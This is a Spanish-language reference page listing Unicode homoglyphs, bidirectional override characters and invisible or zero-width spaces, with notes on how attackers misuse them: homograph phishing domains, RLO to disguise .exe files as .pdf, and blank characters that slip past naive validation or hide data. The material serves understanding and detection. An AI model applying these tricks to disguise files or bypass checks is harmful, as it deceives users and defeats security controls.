x → хU+0445 CYRILLIC HA
y → уU+0443 CYRILLIC U
i → іU+0456 CYRILLIC I
j → јU+0458 CYRILLIC JE
s → ѕU+0455 CYRILLIC DZE
H → НU+041D CYRILLIC EN
B → ВU+0412 CYRILLIC VE
A → ΑU+0391 GREEK ALPHA
0 → ОU+041E CYRILLIC O (mayús)

RTL override disfraza extensión de fichero

resultado
RLO — Right-to-Left OverrideU+202E
LRO — Left-to-Right OverrideU+202D
PDF — Pop Directional FormattingU+202C
RLE — Right-to-Left EmbeddingU+202B
IDN homograph attack: dominios como раypal.com (con Cyrillic а/р) son visualmente indistinguibles del original — úsalo para entender phishing y detección, nunca para registrar dominios ajenos.
U+202E (RLO) invierte visualmente todo el texto que le sigue hasta el próximo U+202C (PDF) — malware clásico lo usa para que un .exe se muestre como .pdf en el Explorador. El nombre real en disco sigue terminando en la extensión ejecutable.

// whitespace & invisibles

Espacios Unicode click para copiar

Space (normal)U+0020
TabU+0009
No-Break Space (NBSP)U+00A0
En SpaceU+2002
Em SpaceU+2003
Thin SpaceU+2009
Hair SpaceU+200A
Ideographic SpaceU+3000
Mongolian Vowel SeparatorU+180E

Caracteres invisibles zero-width · nombres "vacíos"

Zero Width SpaceU+200B
Zero Width Non-JoinerU+200C
Zero Width JoinerU+200D
Word JoinerU+2060
Zero Width No-Break Space (BOM)U+FEFF
Braille Blank PatternU+2800
Combining Grapheme JoinerU+034F
NBSP, espacios Unicode y zero-width se usan para saltarse validaciones ingenuas (trim()/value.length===0 no siempre los detecta), crear nombres de usuario "en blanco" en juegos/Discord, o exfiltrar datos ocultos en espacios al final de líneas.